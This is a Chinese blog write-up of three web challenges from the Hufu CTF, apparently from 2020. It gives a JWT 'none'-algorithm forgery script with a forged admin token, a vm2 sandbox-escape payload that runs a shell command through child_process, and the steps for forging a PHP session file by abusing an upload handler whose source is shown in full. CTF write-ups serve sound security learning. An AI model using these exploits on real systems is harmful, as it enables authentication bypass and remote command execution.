虎符CTF web复现

easy_login

首页是登陆注册页面在这里插入图片描述
然后根据/app.js:
在这里插入图片描述
可以找到主逻辑代码/controller/api.js

主要有三个路由:
1./api/register

注册的username不能为admin,随机生成secret密钥,放入secrets[]数组,secretid为数组长度,然后根据{secretid, username, password}, secret,通过HS256的加密方式生成jwt token
在这里插入图片描述
2./api/login
首先获取username,password,token
然后解析token中的secretid赋值给sid,如果不满足sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0),则从全局数组中获取密钥:secrets[sid],并进行jwt验证,验证成功则将username存入session
在这里插入图片描述
3./api/flag
是admin就返回flag
在这里插入图片描述
那么就是需要成为admin了

根据赵总的wp知道,如果加密方式为none,验证时密钥为空或者undefined的话,就能直接伪造jwt通过验证
如下:
在这里插入图片描述
上面这个是什么意思呢,首先看到jsonwebtoken库的源码中/node_modules/jsonwebtoken/verify.js第109行,这里的options选项为:algoritms
在这里插入图片描述
而题目源码中给的验证却是algorithm
在这里插入图片描述
那么实际上这就是开发者对jwt库不了解导致的,所以这里验证时的HS256实际上在源码中为none

而如果验证的方式为none,并且密钥为空或者undefined的话,就能直接伪造jwt,修改的方法也就是将验证的参数设置为algorithms,如下,就不会通过验证
在这里插入图片描述

加密时的密钥我们不可控,而验证时的密钥是由sid索引取值的

先看一下源码sid的逻辑:
在这里插入图片描述
sid不能为undefined、null,然后sid即不能>1或<=0

那么sid可以取0-1之间,如0.5
在这里插入图片描述
由于js的弱类型,空数组>=0为真
在这里插入图片描述
所以空数组也能绕过在这里插入图片描述
为了伪造jwt,我们这里的加密方式也要设置为none,与验证对应,密钥随便,payload:

const jwt = require('jsonwebtoken')
const token = jwt.sign({secretid:[], username:"admin", password:"123"}, '123', {algorithm: 'none'});
console.log(token)
b=jwt.verify(token,undefined,{algorithm: 'HS256'});
console.log(b);

得到

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTU4ODE1OTgzOH0.
{ secretid: [], username: 'admin', password: '123', iat: 1588159838 }

登陆的时候替换token
在这里插入图片描述
在这里插入图片描述
/api/flag
在这里插入图片描述

just_escape

考点:github上的issue(Nodejs沙箱逃逸)
在这里插入图片描述
在这里插入图片描述
试了一堆php都没什么用,然后无意间试了一下{{7*7}}跳出来个49,以为这是python,一直在这里浪费时间,没想到还是Nodejs,看了赵总的wp,原来是根据报错信息来判断:

/run.php?code=(function(){
var err = new Error();
return err.stack;
})();

据此可以判断是Nodejs+vm
在这里插入图片描述
而且exp就是github上的issue:
https://github.com/patriksimek/vm2/issues/225
这里由于有过滤,就用数组绕过,然后直接用现成的exp

try{
		Buffer.from(new Proxy({}, {
			getOwnPropertyDescriptor(){
				throw f=>f.constructor("return process")();
			}
		}));
	}catch(e){
		e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
	}

在这里插入图片描述
我就想知道师傅们是怎么找到这个issue的

babyupload

考点:sess伪造
这题之前遇到过类似的,但是我把时间浪费在第二题了就没看...
源码:

<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>

首先session中是admin并且有success.txt则显示flag

if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}

然后两个POST参数,direction是用来选择上传或读取的,attr会被拼接到路径中

$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;

先看upload
在这里插入图片描述
这里会将路径拼接,也就是:/var/babyctf/$_POST['attr']/文件名_sha256(临时文件名)

由于这里的session路径为/var/babyctf/
在这里插入图片描述
attr为空,文件名为sess,便可以伪造session文件

不过首先得知道$_SESSION['username']里面有什么,用download查看
在这里插入图片描述
在这里插入图片描述
这个不可见字符也是一部分,该guest为admin,文件内容有了,下一步是sha256的值,可以在本地搭一个然后上传sess文件查看:
在这里插入图片描述
然后上传该文件到靶机
在这里插入图片描述
上传之后可以用download查看确认

在这里插入图片描述在这里插入图片描述
现在替换sessid的话就是admin了,不过还需要有一个success.txt,由于他这里用的是file_exists,所以我们令attr=success.txt使之成为一个路径也能通过检测:这里文件随便
在这里插入图片描述
换sessid
在这里插入图片描述

posted @ 2020-04-19 23:20  W4nder  阅读(1053)  评论(5编辑  收藏  举报